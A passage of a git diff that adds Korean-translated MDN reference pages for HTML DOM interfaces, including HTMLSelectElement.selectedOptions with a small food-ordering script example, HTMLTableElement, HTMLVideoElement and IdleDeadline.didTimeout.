+    It adds the <code>autofocus</code>, <code>form</code>, <code>required</code>, <code>labels</code>, <code>selectedOptions</code>, <code>willValidate</code>, <code>validity</code> and <code>validationMessage</code> properties.<br>
+    The <code>tabindex</code> property and the <code>blur()</code> and <code>focus()</code> methods have been moved to {{domxref("HTMLElement")}}.<br>
+    The methods <code>item()</code>, <code>namedItem()</code>, <code>checkValidity()</code> and <code>setCustomValidity()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td><code>options</code> now returns an {{domxref("HTMLOptionsCollection")}}.<br>
+    <code>length</code> now returns an <code>unsigned long</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.HTMLSelectElement")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{HTMLElement("select")}} HTML element, which implements this interface.</li>
+</ul>
diff --git a/files/ko/web/api/htmlselectelement/selectedoptions/index.html b/files/ko/web/api/htmlselectelement/selectedoptions/index.html
new file mode 100644
index 0000000000..da8993f4cf
--- /dev/null
+++ b/files/ko/web/api/htmlselectelement/selectedoptions/index.html
@@ -0,0 +1,123 @@
+---
+title: HTMLSelectElement.selectedOptions
+slug: Web/API/HTMLSelectElement/selectedOptions
+translation_of: Web/API/HTMLSelectElement/selectedOptions
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>The <strong>read-only</strong> {{domxref("HTMLSelectElement")}} property <code><strong>selectedOptions</strong></code> contains a list of the {{HTMLElement("option")}} elements contained within the {{HTMLElement("select")}} element that are currently selected. The list of selected options is an {{domxref("HTMLCollection")}} object with one entry per currently selected option.</p>
+
+<p>An option is considered selected if it has an {{domxref("HTMLOptionElement.selected")}} attribute.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>selectedCollection</em> = <em>HTMLSelectElement</em>.selectedOptions;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>An {{domxref("HTMLCollection")}} which lists every currently selected {{domxref("HTMLOptionElement")}} which is either a child of the {{domxref("HTMLSelectElement")}} or of an {{domxref("HTMLOptGroupElement")}} within the <code>&lt;select&gt;</code> element.</p>
+
+<p>In other words, any option contained within the <code>&lt;select&gt;</code> element may be part of the results, but option groups are not included in the list.</p>
+
+<p>If no options are currently selected, the collection is empty and returns a {{domxref("HTMLCollection.length", "length")}} of 0.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>In this example, a {{HTMLElement("select")}} element with a number of options is used to let the user order various food items.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>The HTML that creates the selection box and the {{HTMLElement("option")}} elements representing each of the food choices looks like this:</p>
+
+<pre class="brush: html">&lt;label for="foods"&gt;What do you want to eat?&lt;/label&gt;&lt;br&gt;
+&lt;select id="foods" name="foods" size="7" multiple&gt;
+  &lt;option value="1"&gt;Burrito&lt;/option&gt;
+  &lt;option value="2"&gt;Cheeseburger&lt;/option&gt;
+  &lt;option value="3"&gt;Double Bacon Burger Supreme&lt;/option&gt;
+  &lt;option value="4"&gt;Pepperoni Pizza&lt;/option&gt;
+  &lt;option value="5"&gt;Taco&lt;/option&gt;
+&lt;/select&gt;
+&lt;br&gt;
+&lt;button name="order" id="order"&gt;
+  Order Now
+&lt;/button&gt;
+&lt;p id="output"&gt;
+&lt;/p&gt;</pre>
+
+<p>The <code>&lt;select&gt;</code> element is set to allow multiple items to be selected, and it is 7 rows tall. Note also the {{HTMLElement("button")}}, whose role it is to trigger fetching the {{domxref("HTMLCollection")}} of selected elements using the <code>selected</code> property.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>The JavaScript code that establishes the event handler for the button, as well as the event handler itself, looks like this:</p>
+
+<pre class="brush: js">let orderButton = document.getElementById("order");
+let itemList = document.getElementById("foods");
+let outputBox = document.getElementById("output");
+
+orderButton.addEventListener("click", function() {
+  let collection = itemList.selectedOptions;
+  let output = "";
+
+  for (let i=0; i&lt;collection.length; i++) {
+    if (output === "") {
+      output = "Your order for the following items has been placed: ";
+    }
+    output += collection[i].label;
+
+    if (i === (collection.length - 2) &amp;&amp; (collection.length &lt; 3)) {
+      output +=  " and ";
+    } else if (i &lt; (collection.length - 2)) {
+      output += ", ";
+    } else if (i === (collection.length - 2)) {
+      output += ", and ";
+    }
+  }
+
+  if (output === "") {
+    output = "You didn't order anything!";
+  }
+
+  outputBox.innerHTML = output;
+}, false);</pre>
+
+<p>This script sets up a {{event("click")}} event listener on the "Order Now" button. When clicked, the event handler fetches the list of selected options using <code>selectedOptions</code>, then iterates over the options in the list. A string is constructed to list the ordered items, with logic to build the list using proper English grammar rules (including a {{interwiki("wikipedia", "serial comma")}}).</p>
+
+<h3 id="Result">Result</h3>
+
+<p>The resulting content looks like this in action:</p>
+
+<p>{{EmbedLiveSample("Example", 600, 250)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "form-elements.html#dom-select-selectedoptions", "HTMLSelectElement.selectedOptions")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "forms.html#dom-select-selectedoptions", "HTMLSelectElement.selectedOptions")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.HTMLSelectElement.selectedOptions")}}</p>
+
+<h2 id="See_Also" name="See_Also">See also</h2>
+
+<ul>
+ <li>{{SectionOnPage("/en-US/docs/Learn/HTML/Forms/The_native_form_widgets", "Drop-down content")}}</li>
+</ul>
diff --git a/files/ko/web/api/htmlspanelement/index.html b/files/ko/web/api/htmlspanelement/index.html
new file mode 100644
index 0000000000..084f295382
--- /dev/null
+++ b/files/ko/web/api/htmlspanelement/index.html
@@ -0,0 +1,61 @@
+---
+title: HTMLSpanElement
+slug: Web/API/HTMLSpanElement
+tags:
+  - API
+  - HTML DOM
+  - 레퍼런스
+  - 인터페이스
+translation_of: Web/API/HTMLSpanElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p><strong><code><span class="external">HTMLSpanElement</span></code></strong> 인터페이스는 {{HTMLElement("span")}} 엘리먼트를 나타내며 {{ domxref("HTMLElement") }} 인터페이스로부터 파생되었으며 부가적인 프로퍼티나 메소드는 구현되지 않았습니다.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>특정 프로퍼티가 없으며, 부모인 {{domxref("HTMLElement")}} 로부터 프로퍼티를 상속받습니다.</em></p>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>특정 메소드가 없으며, 부모인 {{domxref("HTMLElement")}} 로부터 메소드를 상속받습니다.</em></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmlspanelement", "HTMLSpanElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#the-span-element", "HTMLSpanElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>초기 정의는 {{HTMLElement("span")}} 이 {{domxref("HTMLElement")}} 와 연관되어 있었음.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLSpanElement")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>이 인터페이스를 구현한 HTML 엘리먼트: {{HTMLElement("span")}}.</li>
+</ul>
+
+<div> </div>
diff --git a/files/ko/web/api/htmltableelement/index.html b/files/ko/web/api/htmltableelement/index.html
new file mode 100644
index 0000000000..551d68b58e
--- /dev/null
+++ b/files/ko/web/api/htmltableelement/index.html
@@ -0,0 +1,109 @@
+---
+title: table
+slug: Web/API/HTMLTableElement
+tags:
+  - DOM
+  - Gecko
+  - Gecko DOM Reference
+translation_of: Web/API/HTMLTableElement
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="HTML_Table_.EC.9A.94.EC.86.8C_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4" name="HTML_Table_.EC.9A.94.EC.86.8C_.EC.9D.B8.ED.84.B0.ED.8E.98.EC.9D.B4.EC.8A.A4">HTML Table 요소 인터페이스</h3>
+<p><code>table</code> 개체는 (상속으로 이용할 수 있는 정규 <a href="ko/DOM/element">element</a> 개체 인터페이스 외에) HTML 표의 layout과 presentation을 다루는 특수 프로퍼티와 메소드를 제공하는 <code><a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-64060425">HTMLTableElement</a></code> 인터페이스를 내놓습니다.</p>
+<h3 id=".ED.94.84.EB.A1.9C.ED.8D.BC.ED.8B.B0" name=".ED.94.84.EB.A1.9C.ED.8D.BC.ED.8B.B0">프로퍼티</h3>
+<dl>
+ <dt>
+  <a href="ko/DOM/table.caption">table.caption</a></dt>
+ <dd>
+  <b>caption</b>은 표 caption을 반환합니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.tHead">table.tHead</a></dt>
+ <dd>
+  <b>tHead</b>는 표 head를 반환합니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.tFoot">table.tFoot</a></dt>
+ <dd>
+  <b>tFoot</b>은 표 footer를 반환합니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.rows">table.rows</a></dt>
+ <dd>
+  <b>rows</b>는 표의 줄(row)을 반환합니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.tBodies">table.tBodies</a></dt>
+ <dd>
+  <b>tBodies</b>는 표 body를 반환합니다.</dd>
+</dl>
+<dl>
+ <dt>
+  <a href="ko/DOM/table.align">table.align</a></dt>
+ <dd>
+  <b>align</b>은 표 정렬을 get/set합니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.bgColor">table.bgColor</a> {{ Deprecated_inline() }} </dt>
+ <dd>
+  <b>bgColor</b>는 표의 배경색을 get/set합니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.border">table.border</a></dt>
+ <dd>
+  <b>border</b>는 표 border를 get/set합니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.cellPadding">table.cellPadding</a></dt>
+ <dd>
+  <b>cellPadding</b>은 cell padding을 get/set합니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.cellSpacing">table.cellSpacing</a></dt>
+ <dd>
+  <b>cellSpacing</b>은 표 주변 spacing을 get/set합니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.frame">table.frame</a></dt>
+ <dd>
+  <b>frame</b>은 표 어느 쪽이 border를 가질 지를 지정합니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.rules">table.rules</a></dt>
+ <dd>
+  <b>rules</b>는 안쪽 border가 보일 지를 지정합니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.summary">table.summary</a></dt>
+ <dd>
+  <b>summary</b>는 표 요약을 get/set합니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.width">table.width</a></dt>
+ <dd>
+  <b>width</b>는 표 너비를 get/set합니다.</dd>
+</dl>
+<h3 id=".EB.A9.94.EC.86.8C.EB.93.9C" name=".EB.A9.94.EC.86.8C.EB.93.9C">메소드</h3>
+<dl>
+ <dt>
+  <a href="ko/DOM/table.createTHead">table.createTHead</a></dt>
+ <dd>
+  <b>createTHead</b>는 표 header를 만듭니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.deleteTHead">table.deleteTHead</a></dt>
+ <dd>
+  <b>deleteTHead</b>는 표 header를 없앱니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.createTFoot">table.createTFoot</a></dt>
+ <dd>
+  <b>createTFoot</b>은 표 footer를 만듭니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.deleteTFoot">table.deleteTFoot</a></dt>
+ <dd>
+  <b>deleteTFoot</b>은 표 footer를 없앱니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.createCaption">table.createCaption</a></dt>
+ <dd>
+  <b>createCaption</b>는 표에 새 caption을 만듭니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.deleteCaption">table.deleteCaption</a></dt>
+ <dd>
+  <b>deleteCaption</b>은 표 caption을 없앱니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.insertRow">table.insertRow</a></dt>
+ <dd>
+  <b>insertRow</b>는 새 줄을 삽입합니다.</dd>
+ <dt>
+  <a href="ko/DOM/table.deleteRow">table.deleteRow</a></dt>
+ <dd>
+  <b>deleteRow</b>는 줄을 없앱니다.</dd>
+</dl>
+<p>{{ languages( { "en": "en/DOM/table", "pl": "pl/DOM/table" } ) }}</p>
diff --git a/files/ko/web/api/htmltableelement/width/index.html b/files/ko/web/api/htmltableelement/width/index.html
new file mode 100644
index 0000000000..de93d46543
--- /dev/null
+++ b/files/ko/web/api/htmltableelement/width/index.html
@@ -0,0 +1,28 @@
+---
+title: table.width
+slug: Web/API/HTMLTableElement/width
+tags:
+  - DOM
+  - Gecko
+  - Gecko DOM Reference
+translation_of: Web/API/HTMLTableElement/width
+---
+<p>{{ ApiRef() }}</p>
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+<p><b>width</b>는 바라는 테이블의 너비를 지정합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval"><i>HTMLTableElement</i>.width =<i>width</i>;
+var<i>width</i> =<i>HTMLTableElement</i>.width;
+</pre>
+<p><code><a class="external" href="http://www.w3.org/TR/1999/REC-html401-19991224/struct/tables.html#adef-width-TABLE">width</a></code>가 픽셀수나 퍼센트 값으로 너비를 나타내는 문자열인 곳.</p>
+<h3 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h3>
+<pre class="eval">mytable.width = "75%";
+</pre>
+<h3 id=".EC.8A.A4.ED.8E.99" name=".EC.8A.A4.ED.8E.99">스펙</h3>
+<p>W3C DOM 2 HTML Specification <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-77447361">
+ <i>
+  HTMLTableElement</i>
+ .width</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/table.width" } ) }}</p>
diff --git a/files/ko/web/api/htmltemplateelement/index.html b/files/ko/web/api/htmltemplateelement/index.html
new file mode 100644
index 0000000000..d53e94b947
--- /dev/null
+++ b/files/ko/web/api/htmltemplateelement/index.html
@@ -0,0 +1,58 @@
+---
+title: HTMLTemplateElement
+slug: Web/API/HTMLTemplateElement
+tags:
+  - API
+  - HTML DOM
+  - HTMLTemplateElement
+  - 레퍼런스
+  - 웹 컴포넌트
+  - 인터페이스
+translation_of: Web/API/HTMLTemplateElement
+---
+<div>{{APIRef("Web Components")}}</div>
+
+<p><code><strong>HTMLTemplateElement</strong></code> 인터페이스는 HTML {{HTMLElement("template")}} 엘리먼트의 컨텐츠에 접근할 수 있게 해줍니다.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>이 인터페이스는 {{domxref("HTMLElement")}} 의 프로퍼티를 상속받습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLTemplateElement.content")}}{{readonlyinline}}</dt>
+ <dd>{{domxref("DocumentFragment")}}: {{HTMLElement("template")}} 엘리먼트의 템플릿 컨텐츠를 반환합니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>이 인터페이스는 {{domxref("HTMLElement")}} 의 메소드를 상속받습니다.</em></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','scripting.html#htmltemplateelement','HTMLTemplateElement interface')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','scripting-1.html#htmltemplateelement','HTMLTemplateElement interface')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLTemplateElement")}}</p>
diff --git a/files/ko/web/api/htmltitleelement/index.html b/files/ko/web/api/htmltitleelement/index.html
new file mode 100644
index 0000000000..dedc718022
--- /dev/null
+++ b/files/ko/web/api/htmltitleelement/index.html
@@ -0,0 +1,77 @@
+---
+title: HTMLTitleElement
+slug: Web/API/HTMLTitleElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Reference
+translation_of: Web/API/HTMLTitleElement
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><strong><code>HTMLTitleElement</code></strong> 인터페이스는 문서의 제목을 담습니다. {{domxref("HTMLElement")}} 인터페이스의 속성과 메서드를 상속합니다,</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>부모인 {{domxref("HTMLElement")}}로부터 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLTitleElement.text")}}</dt>
+ <dd>문서의 제목을 나타내는 {{domxref("DOMString")}}입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><em>부모인 {{domxref("HTMLElement")}}로부터 상속합니다.</em></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmltitleelement", "HTMLTitleElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "document-metadata.html#the-title-element", "HTMLTitleElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No change from {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "document-metadata.html#the-title-element", "HTMLTitleElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>No change from {{SpecName("DOM2 HTML")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-79243169', 'HTMLTitleElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change from {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-79243169', 'HTMLTitleElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLTitleElement")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>인터페이스를 구현하는 HTML 요소 {{ HTMLElement("title") }}.</li>
+</ul>
diff --git a/files/ko/web/api/htmlvideoelement/index.html b/files/ko/web/api/htmlvideoelement/index.html
new file mode 100644
index 0000000000..f3037ee675
--- /dev/null
+++ b/files/ko/web/api/htmlvideoelement/index.html
@@ -0,0 +1,117 @@
+---
+title: HTMLVideoElement
+slug: Web/API/HTMLVideoElement
+translation_of: Web/API/HTMLVideoElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>HTMLVideoElement</code></strong> 인터페이스는 Video object를 조작하는데 필요한 프로퍼티와 메소드를 제공합니다. {{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}를 상속합니다.</p>
+
+<p><a href="/en-US/docs/HTML/Supported_media_formats">지원하는 미디어 포맷</a> 목록은 브라우저마다 다릅니다. 여러분은 적절한 범위의 브라우저에서 지원하는 한가지 비디어 포맷을 제공하던가, 지원할 모든 브라우저를 위한 여러 종류의 미디어 포맷을 제공해야 합니다.</p>
+
+<p>{{InheritanceDiagram(600, 140)}}</p>
+
+<h2 id="속성(Properties)">속성(Properties)</h2>
+
+<p><em>{{domxref("HTMLMediaElement")}}와 </em><em>{{domxref("HTMLElement")}}의 속성들도 상속 받습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.height")}}</dt>
+ <dd>표시 영역의 높이를 나타내는 HTML Attribute {{htmlattrxref("height", "video")}}의 값을  {{domxref("DOMString")}}으로 반환합니다. 단위는 pixel입니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.poster")}}</dt>
+ <dd>비디오 데이터가 없을 때 보여줄 이미지를 지정하는 HTML Attribute {{htmlattrxref("poster", "video")}}의 값을 {{domxref("DOMString")}}로 반환합니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.videoHeight")}} {{readonlyInline}}</dt>
+ <dd>비디오의 height를 부호 없는 정수로 나타낸 값을 반환합니다. 비디오가 없는 경우 0을 반환합니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.videoWidth")}} {{readonlyInline}}</dt>
+ <dd>비디오의 width를 부호 없는 정수로 나타낸 값을 반환합니다. 비디오가 없는 경우 0을 반환합니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.width")}}</dt>
+ <dd>표시 영역의 높이를 나타내는 HTML Attribute {{htmlattrxref("width", "video")}}의 값을  {{domxref("DOMString")}}으로 반환합니다. 단위는 pixel입니다.</dd>
+</dl>
+
+<h3 id="Gecko_전용_속성">Gecko 전용 속성</h3>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.mozParsedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>미디어 소스에서 파싱된 비디오 프레임 수를 <code>unsigned long</code> 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozDecodedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>화상으로 디코딩 된 비디오 프레임 수를 <code>unsigned long</code> 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozPresentedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>렌더링 파이프 라인을 통해 출력된 디코드 프레임 수를 <code>unsigned long</code> 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozPaintedFrames")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>화면에 그려진 프레임 수를 <code>unsigned long</code> 값으로 반환합니다.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozFrameDelay")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>지연 출력된 비디오 프레임을 초 단위로 <code>double</code> 값으로 반환한다.</dd>
+ <dt>{{domxref("HTMLVideoElement.mozHasAudio")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>비디오와 연관된 오디오 존재 여부를 {{JSxRef("Boolean","boolean")}} 값으로 반환한다.</dd>
+</dl>
+
+<h3 id="Microsoft_확장_속성">Microsoft 확장 속성</h3>
+
+<dl>
+ <dt>{{DOMxRef("HTMLVideoElement.msFrameStep()")}} {{Non-standard_Inline}}</dt>
+ <dd>프레임 단위로 앞/뒤로 이동합니다.</dd>
+ <dt>{{DOMxRef("HTMLVideoElement.msHorizontalMirror")}} {{Non-standard_Inline}}</dt>
+ <dd>비디오의 좌/우 반전 시키거나 반전된 상태를 반환합니다.</dd>
+ <dt>{{DOMxRef("HTMLVideoElement.msInsertVideoEffect()")}} {{Non-standard_Inline}}</dt>
+ <dd>미디어 파이프라인에 특정 비디오 효과를 추가합니다.</dd>
+ <dt>{{DOMxRef("HTMLVideoElement.msIsLayoutOptimalForPlayback")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>더 효과적인 비디오 렌더링이 가능하면 true를 반환합니다.</dd>
+ <dt>{{DOMxRef("HTMLVideoElement.msIsStereo3D")}} {{Non-standard_Inline}}{{ReadOnlyInline}}</dt>
+ <dd>시스템이 비디오를 stereo 3-D로 판단하였는지 여부를 반환합니다. 값을 true로 지정한다면 video를 stereo 3-D로 인식합니다..</dd>
+ <dt>{{DOMxRef("HTMLVideoElement.msZoom")}} {{Non-standard_Inline}}</dt>
+ <dd>비디오 프레임을 출력부에 딱 맞게 트림합니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>{{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}의 메소드도 상속 받습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLVideoElement.getVideoPlaybackQuality()")}} {{experimental_inline}}</dt>
+ <dd>현재 재생 결과를 담고 있는 {{domxref("VideoPlaybackQuality")}} 객체를 반환합니다. 전체 프레임 중 drop 되거나 손실된 프레임 등 재생 정보를 포함합니다.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<p><em>{{domxref("HTMLMediaElement")}}와 {{domxref("HTMLElement")}}의 이벤트를 상속합니다. </em><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> 메소드 또는 <code>on<em>eventname</em></code> 프로퍼티에 리스너를 전달하여 이벤트를 수신합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Source Extensions', '#idl-def-HTMLVideoElement', 'Extensions to HTMLVideoElement')}}</td>
+   <td>{{Spec2("Media Source Extensions")}}</td>
+   <td><code>getVideoPlaybackQuality()</code> 메소드 추가.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "#htmlvideoelement", "HTMLVideoElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-video-element", "HTMLVideoElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLVideoElement")}}</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>HTML 엘리먼트 구현체: {{HTMLElement("video")}}.</li>
+ <li><a class="external" href="http://people.mozilla.org/~cpearce/paint-stats-demo.html">Demo of video paint statistics</a>(링크 소멸)</li>
+ <li><a href="/en-US/docs/HTML/Supported_media_formats">지원하는 미디어 포맷</a></li>
+</ul>
diff --git a/files/ko/web/api/idledeadline/didtimeout/index.html b/files/ko/web/api/idledeadline/didtimeout/index.html
new file mode 100644
index 0000000000..e806769576
--- /dev/null
+++ b/files/ko/web/api/idledeadline/didtimeout/index.html
@@ -0,0 +1,58 @@
+---
+title: IdleDeadline.didTimeout
+slug: Web/API/IdleDeadline/didTimeout
+translation_of: Web/API/IdleDeadline/didTimeout
+---
+<div>{{APIRef("Background Tasks")}}</div>
+
+<p><strong>{{domxref("IdleDeadline")}}</strong> 인터페이스의 읽기 전용 속성(property)인 <strong><code>didTimeout</code></strong> 는 {{domxref("Window.requestIdleCallback()")}}이 호출될 때 지정된 timeout 간격이 만료되어, 유휴 콜백(idle callback)이 호출되는지 여부를 나타내는 Boolean 값 입니다.</p>
+
+<p><code>didTimeout</code> 이 <code>true</code> 면, <code>IdleDeadline</code> 객체의 {{domxref("IdleDeadline.timeRemaining", "timeRemaining()")}} 메서드는 대략 0을 반환합니다..</p>
+
+<p>유휴 콜백은 사용자 에이전트가 충분한 유휴 시간을 사용할 수 없는 경우에도, 수행하려는 작업이 실제로 발생하는지 확인하기 위해 timeout 개념을 지원합니다. 브라우저가 너무 바빠서 시간을 허락하지 않더라도, 액션을 수행해야 하는 경우 콜백은 일반적으로 <code>didTimeout</code>값을 확인합니다. 필요로 하는 작업을 수행하거나, 이상적인 상황을 유지하기 위해 수행할 수 있는 최소한의 작업을 수행하도록 대응하고, 새로운 콜백을 예약하여 나머지 작업을 다시 시도하도록 해야합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>timedOut</em> = <em>IdleDeadline</em>.didTimeout;</pre>
+
+<h3 id="Value">Value</h3>
+
